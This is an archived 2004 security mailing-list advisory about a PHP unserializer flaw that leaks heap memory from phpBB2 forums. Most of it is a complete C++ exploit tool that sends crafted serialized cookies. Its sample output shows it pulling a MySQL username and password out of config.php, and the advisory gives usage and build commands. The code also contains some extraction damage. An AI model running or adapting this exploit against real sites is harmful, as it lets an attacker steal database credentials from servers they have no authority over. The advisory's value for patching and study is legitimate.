

[EXPL] phpBB2 Information Leak due to Unserializer

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0051.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/19/04

To: list@securiteam.com

Date: 19 Dec 2004 17:59:35 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpBB2 Information Leak due to Unserializer

SUMMARY

PHP is "a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML".

During the development of Hardened-PHP which adds security hardening features to the PHP codebase, several vulnerabilities within PHP were discovered that reach from buffer overflows, information leak vulnerabilities and path truncation vulnerabilities to safe_mode restriction bypass vulnerabilities. The following exploit code can be used test your installation for this vulnerability (requires phpBB2 to be installed).

DETAILS

Exploit:

```
serv.cpp
```

```
#include <winsock.h>
```

```
#include <string.h>
```

```
#include "serv.h"
```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
bool serveur::createsocket()
{
    if (create)
        return 0;
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sock <0)
    {
        create = 0;
        return 0;
    };
    create = 1;
    return sock;
}

bool serveur::listen(unsigned short port, unsigned int nbwaitconnect)
{
    int test;
    memset(&mysock, 0, sizeof(mysock));
    mysock.sin_family = AF_INET ;
    mysock.sin_addr.s_addr = htonl(INADDR_ANY);
    mysock.sin_port = htons(port);
    test = bind(sock,(sockaddr *) &mysock,sizeof(mysock));
    if (test <0)
    {
        closesock();
        return 0;
    };
    listen(sock,nbwaitconnect);
    return 1;
}

serveur * serveur::waitconnect()
{
    struct sockaddr_in astruct;
    int taille;
    int asock;
    serveur * newsock ;
    taille = sizeof(astruct);
    asock = accept(sock, (sockaddr *) &astruct,&taille);
    newsock = new serveur ;
    newsock->createbytheclass(asock,astruct);
    return newsock;
}

bool serveur::connectsocket(char *dns,unsigned short port)
{
    struct hostent *hoste;
    int test;
    memset(&mysock, 0, sizeof(mysock));
    if(!(hoste = gethostbyname(dns)))
        mysock.sin_addr.s_addr = inet_addr(dns);
}
```

```

else
    memcpy(&(mysock.sin_addr),hoste->h_addr,hoste->h_length);
mysock.sin_family = AF_INET ;
mysock.sin_port = htons(port);
test = connect(sock,(struct sockaddr *) &mysock , sizeof(mysock));
if(test <0)
    return 0;
connected = 1;
return 1;
};

```

```

bool serveur::socketsend(char *envoi)
{
    int veri;
    int taiverif;
    if(!connected)
        return 0;
    veri = strlen(envoi);
    taiverif = send(sock,envoi,veri,0);
    if(veri != taiverif)
    {
        connected = 0;
        return 0;
    };
    return 1;
}

```

```

bool serveur::getline(char buf[],unsigned int maxcara)
{
    unsigned int testing;
    unsigned int curseur;
    char recoi;
    if(!connected)
        return 0;
    curseur = 0;
    do{
        testing = recv(sock,&recoi,sizeof(char),0);
        if(testing != sizeof(char))
        {
            buf[curseur] = '\0' ;
            connected = 0;
            return 0;
        };
        if( curseur == maxcara)
        {
            buf[curseur] = '\0';
        };
        if ((curseur < maxcara)&&(recoi != '\r')&&(recoi != '\n'))
        {
            buf[curseur] = recoi ;
            curseur++ ;
        }
    }
}

```

```
};
}while(recoi != '\n');
buf[curseur] = '\0';
return 1;
}
```

```
bool serveur::getline(char buf2[])
{
return getline(buf2,maxread);
}
```

```
bool serveur::getword(char in[],unsigned int max)
{
int testing;
unsigned int curseur;
char recoi;
if(!connected)
return 0;
curseur = 0;
do{
testing = recv(sock,&recoi,sizeof(char),0);
if(testing != sizeof(char))
{
in[curseur] = '\0';
connected = 0;
return 0;
};
}if( curseur == max)
{
in[curseur] = '\0';
};
if ((curseur < max)&&(recoi != '\r')&&(recoi != '\n')&&(recoi != ' '))
{
in[curseur] = recoi ;
curseur++ ;
};
}while((recoi != '\n') && (recoi != ' '));
in[curseur] = '\0';
return 1;
}
```

```
bool serveur::getword(char in2[])
{
return getword(in2,maxread);
}
```

```
bool serveur::ifgetchar(char *caraif)
{
fd_set fdens;
struct timeval tv;
tv.tv_sec = seconde ;
```

```

tv.tv_usec = microseconde ;
FD_ZERO(&fdens);
FD_SET(sock,&fdens);
select(sock+1, &fdens, NULL, NULL, &tv);
if(FD_ISSET(sock,&fdens))
{
if(!getnb(caraif,sizeof(char)))
closesock();
return 1;
}
else
{
return 0;
};
}

```

```

bool serveur::ifchargetnb(char ligne[],unsigned int aumax)
{
bool retour;
retour = ifgetchar(ligne) ;
if(retour)
{
connected = getnb(ligne,aumax) ;
};
return retour;
}

```

```

bool serveur::ifchargetline(char ligne[],unsigned int lemax)
{
bool retour;
retour = ifgetchar(ligne) ;
if(retour)
{
if(*ligne == '\n')
{
*ligne = '\0';
return 1;
};
if(*ligne != '\r')
ligne++;
connected = getline(ligne,lemax) ;
};
return retour;
}

```

```

bool serveur::ifchargetline(char ligne[])
{
return ifchargetline(ligne,maxread);
}

```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
bool serveur::getnb(char *vect,unsigned int nb)
{
    unsigned int testing;
    unsigned int curseur;
    char recoi;
    if(!connected)
        return 0;
    curseur = 0;
    do{
        testing = recv(sock,&recoi,sizeof(char),0);
        if(testing != sizeof(char))
        {
            vect[curseur] = '\0' ;
            connected = 0;
            return 0;
        };
        if( curseur == nb)
        {
            vect[curseur] = '\0';
        };
        if (curseur < nb)
        {
            vect[curseur] = recoi ;
            curseur++ ;
        };
    }while(curseur < nb);
    return 1;
}

bool serveur::sendnb(char *vec,unsigned int longueur)
{
    int taiverif;
    if(!connected)
        return 0;
    taiverif = send(sock,vec,longueur,0);
    if((int)longueur != taiverif)
    {
        connected = 0;
        return 0;
    };
    return 1;
}

int serveur::getnumsock()
{
    return sock;
}

bool serveur::createbytheclass(int thesock,struct sockaddr_in thestruct)
{
    if(create)
```

```
return 0;
sock = thesock ;
memcpy(&mysock,&thestruct,sizeof(thestruct));
create = 1;
connected = 1;
return 1;
}
```

```
void serveur::closesock()
{
if(create)
{
closesocket(sock);
create = 0;
connected = 0;
};
}
```

```
bool serveur::isconnect()
{
return connected;
}
```

```
void serveur::operator << (char *chaine)
{
socketsend(chaine);
}
```

```
void serveur::operator >> (char *read)
{
getword(read);
}
```

```
serveur::serveur()
{
connected = 0;
create = 0 ;
maxread = 0xFFFFFFFF ;
seconde = 0;
microseconde = 0;
createsocket();
}
```

```
serveur::~~serveur()
{
if(connected)
closesock();
}
```

```
serv.h
class serveur
```

```
{
public:
    bool createsocket();
    bool listen(unsigned short port,unsigned int nbwaitconnect);
    serveur * waitconnect();
    bool connectsocket(char *dns,unsigned short port);
    bool socketsend(char *envoi);
    bool getword(char in[],unsigned int max);
    bool getword(char in2[]);
    bool getline(char buf[],unsigned int maxcara);
    bool getline(char buf2[]);
    bool ifgetchar(char *caraif);
    bool ifchargetnb(char ligne[],unsigned int aumax);
    bool ifchargetline(char ligne[],unsigned int lemax);
    bool ifchargetline(char ligne[]);
    bool getnb(char *vect,unsigned int nb);
    bool sendnb(char *vec,unsigned int longueur);
    bool isconnect();
    int getnumsock();
    void closesock();
    bool createbytheclass(int thesock,struct sockaddr_in thestruct);
    unsigned int maxread;
    unsigned int seconde;
    unsigned int microseconde;
    serveur();
    ~serveur();
    void operator << (char *chaine);
    void operator >> (char *read);

private:
    bool connected;
    bool create;
    struct sockaddr_in mysock;
    int sock;

};
```

phpbbdump.cpp

```
/*
*** coded by overdose ***
slythers gmail com
php bug in ext/standart/var_unserializer.c
for read heap memorie with phpbb2 ;>
tested :
phpbbmemorydump.exe "http://site.com/phpbb/" 30000
-cookiename=phpbb2support > a.txt
result:
- string detected : /home/virtual/site.com/phpBB/config.php
- string detected : dbname
- string detected : PT_N
- string detected : phpbb
```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

- string detected : dbuser
- string detected : phpbb << mysql user
- string detected : dbpasswd
- string detected : phpBB_R0cKs << mysql password
- string detected : table_prefix
- string detected : phpbb_

use like :

```
phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap
```

```
[repeat/display_all_heap]
```

```
[-cookie=phpbb2mysql]
```

```
greetz:
```

```
my crew MWA
```

```
pull the plug , vortex challenge
```

```
www.security-challenge.com
```

```
http://overdose.tcpteam.org/
```

```
slipknot , dr dre , ...
```

```
all #s-c and all i forget
```

```
compile with borland c++ (freecommandlinetools) :
```

```
bcc32 -c serv.cpp
```

```
bcc32 bbmemorydump.cpp serv.obj
```

```
*/
```

```
#include <winsock.h>
```

```
#include <iostream.h>
```

```
#include "serv.h"
```

```
#define HTTP_PORT 80
```

```
#define SIGNATURE_REQUEST signaturequete
```

```
#define SIGNATURE_REQUEST_START "\nSet-Cookie: "
```

```
#define DEFAULT_COOKIE_NAME "phpbb2mysql"
```

```
#define END_SIGNATURE "_data="
```

```
#define MIN_NB_LETTRE 3
```

```
#define NB_SEC_FOR_WAIT 1000*5 // 5 secondes
```

```
char signaturequete[512];
```

```
struct url{
```

```
char *dns;
```

```
char *uri;
```

```
unsigned short port;
```

```
};
```

```
struct url parseurl(char *of);
```

```
char * intostr(int erf);
```

```
bool goodcar(char carac);
```

```
unsigned int utf8decode(char *utf);
```

```
char alphanum(char *of,bool *wesh);
```

```
int main(int argc,char **argv)
```

```
{
```

```
struct url urlparsed;
```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
serveur http;
unsigned int nbmemread;
char car;
bool repeat = 0;
bool displayheap = 0;
char *cookname = DEFAULT_COOKIE_NAME;
WSAData wsadata;
if (WSAStartup(MAKEWORD(2, 0), &wsadata) != 0)
    return 1;
cout << "coded by overdose / bad boyz coding" << endl;
if (argc < 3)
{
    cout << " use like : " << argv[0] << " \"http://site.com/phpbb2^\"
nbocettoreadinheap[repeat/display_all_heap]
[-cookname=phpbb2mysql]" << endl;
    return 0;
};
for (int argcpt = 3; argcpt < argc; argcpt++)
{
    if (!strcmp(argv[argcpt], "repeat"))
        repeat = 1;
    else if (!strcmp(argv[argcpt], "display_all_heap"))
        displayheap = 1;
    else if (!strncmp(argv[argcpt], "-cookname=", sizeof("-cookname=") - 1))
    {
        cookname = argv[argcpt] + sizeof("-cookname=") - 1;
    };
};
strcpy(SIGNATURE_REQUEST, SIGNATURE_REQUEST_START);
strcat(SIGNATURE_REQUEST, cookname);
strcat(SIGNATURE_REQUEST, END_SIGNATURE);
nbmemread = atoi(argv[2]);
if (!nbmemread)
    return 0;
urlparsed = parseurl(argv[1]);
if (!urlparsed.uri)
    return 0;
do {
    http.createsocket();
    if (!http.connectsocket(urlparsed.dns, urlparsed.port))
    {
        cout << "can't connect to " << urlparsed.dns << endl;
        return 0;
    };
    http << "GET " ;
    http << urlparsed.uri ;
    http << " HTTP/1.1\nHost: ";
    http << urlparsed.dns ;
    http << "\nCookie: ";
    http << cookname;
    http << "_data=s:";
};
```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
http << intostr(nbmemread);
http << ":%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/;
domain=";
http << urlparsed.dns;
http << "\nCookie: ";
http << cookname;
http << "_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
http << urlparsed.dns;
http << "\nAccept-Language: fr\nUser-Agent: Mozilla/4.0 (compatible; MSIE
6.0; WindowsNT 5.1)\nConnection: close\n\n";
cout <<"requete effectuer ..." <<endl;
char signature[sizeof(SIGNATURE_REQUEST)];
char *word,*wtmp;
unsigned int cpt ,sizesign;
unsigned int compteur,cptstr;
bool exit = 0;
sizesign = strlen(SIGNATURE_REQUEST);
memset(signature,'a',sizesign);
signature[sizesign] ='\0';
compteur = 0;
cptstr = 0;
while(!exit && http.getnb(&car,sizeof(char)))
{
// ajout du detecteur de heap
for(cpt = 0; cpt < (sizesign-1);cpt++)
signature[cpt] = signature[cpt+1];
signature[sizesign-1] = car;
if(!strcmp(signature,SIGNATURE_REQUEST))
{
word = new char[nbmemread*3+1];
word[cptstr] = '\0';
compteur = strlen(intostr(nbmemread)) + 4;
for(cpt = 0; cpt < compteur;cpt++)
http.getnb(&car,sizeof(char));
while(!exit && http.getnb(&car,sizeof(char)))
{
if((car == ';' || (cptstr >= (nbmemread*3)))
{
exit = 1;
continue;
};
word[cptstr] = car;
cptstr++;
word[cptstr] ='\0';
};
if(displayheap)
cout << word<<endl;
nbmemread = utf8decode(word);
for(compteur = 0;compteur < nbmemread;)
{
for(cpt=compteur;goodcar(word[cpt]);cpt++);

```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
if((cpt - compteur) > MIN_NB_LETTRE )
{
wtmp = new char[(cpt - compteur)+1];
strncpy(wtmp,&word[compteur],cpt - compteur);
wtmp[cpt - compteur] = '\0';
cout <<"- string detected : " <<wtmp<<endl;
delete[] wtmp;
}
if(!(cpt - compteur))
cpt++;
compteur = cpt;
};
delete[] word;
};
http.closesock();
if(repeat)
{
cout <<endl<<"attente jusqu'a la prochaine requete ..."<<endl;
Sleep(NB_SEC_FOR_WAIT);
};
}while(repeat);
/*
delete[] urlparsed.uri;
delete[] urlparsed.dns;
*/
WSACleanup();
return 0;
}

struct url parseurl(char *of)
{
struct url retour;
unsigned int taille;
char tmp;
retour.dns = 0x00;
retour.uri = 0x00;
retour.port = HTTP_PORT ;
while( *of && (*of != ':'))
of++;
if(*of && *(of+1) && *(of+2))
{
if((*of+1) != '/') || (*(of+2) != '/')
return retour;
of += 3;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') &&
(of[taille] != ':');taille++);
retour.dns = new char [taille+1];
memcpy(retour.dns,of,taille);
retour.dns[taille] = '\0';
of += taille;
}
```

```

if(*of == ':')
{
of++;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
tmp = of[taille];
of[taille] = '\0';
if(taille)
retour.port = atoi(of);
of[taille] = tmp;
of += taille;
};
if(!*of)
{
retour.uri = new char[2];
strcpy(retour.uri,"/");
}
else
{
retour.uri = new char [strlen(of)+1];
strcpy(retour.uri,of);
};
};
return retour;
}

```

```

char * intostr(int erf)
{
char *chaine;
int puissance;
int erf2;
if( erf >= 0)
{
puissance =0;
for(int kekette = 1;kekette<=erf;kekette = kekette*10)
{
puissance++;
};
if (puissance == 0)
{
puissance = 1;
};
chaine = new char[puissance+1];
chaine[puissance] = '\0';
for(int arf = puissance-1;arf >=0;arf--)
{
erf2 = erf % 10 ;
chaine[arf] = '0' + erf2;
erf = erf /10;
};
return chaine;
}

```

```

else
    return 0;
}

bool goodcar(char carac)
{
    unsigned short cpt;
    if(!carac)
        return 0;
    // i hate do like this :
    char goodcar[] =
    "abcdefghijklmnopqrstuvwxyZABCDEFGHIJKLMONPQRSTUVWXYZ012345689<> @ )]=}
    [_{#&*\\/+~' $%.:;|^~$,!?"'\t\r\n ";
    for(cpt = 0;
        (goodcar[cpt] != '\x00') &&
        (goodcar[cpt] != carac);
        cpt++);
    if(goodcar[cpt] == carac)
        return 1;
    return 0;
}

unsigned int utf8decode(char *utf)
{
    char *r;
    char *w;
    char tmp;
    bool han;
    r = w = utf;
    while(*r)
    {
        if(*r == '%')
        {
            tmp = alphanum(r+1,&han);
            if(han)
            {
                *w = tmp;
                r += 2;
            }
            else
                *w = *r;
        }
        else
            *w = *r;
        w++;
        r++;
    };
    *w = '\0';
    return (w-utf);
}

```

Securiteam: [EXPL] phpBB2 Information Leak due to Unserializer

```
char alphanum(char *of,bool *wesh)
{
    unsigned char retour;
    retour = 0x00;
    *wesh = 0;
    if(!(*of && *(of+1)))
        return 0x00;
    if((*of >= 'a') && (*of <= 'f'))
        retour = ((*of - 'a') +10) * 0x10;
    else if((*of >= 'A') && (*of <= 'F'))
        retour = ((*of - 'A') +10) * 0x10;
    else if((*of >= '0') && (*of <= '9'))
        retour = (*of - '0') * 0x10;
    else
        return 0x00;
    of++;
    if((*of >= 'a') && (*of <= 'f'))
        retour += ((*of - 'a') +10);
    else if((*of >= 'A') && (*of <= 'F'))
        retour += ((*of - 'A') +10);
    else if((*of >= '0') && (*of <= '9'))
        retour += (*of - '0');
    else
        return 0x00;
    *wesh = 1;
    return retour;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:slythers@gmail.com>
slythers.

The original article can be found at:

<<http://overdose.tcpteam.org/index2.php>>
<http://overdose.tcpteam.org/index2.php>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.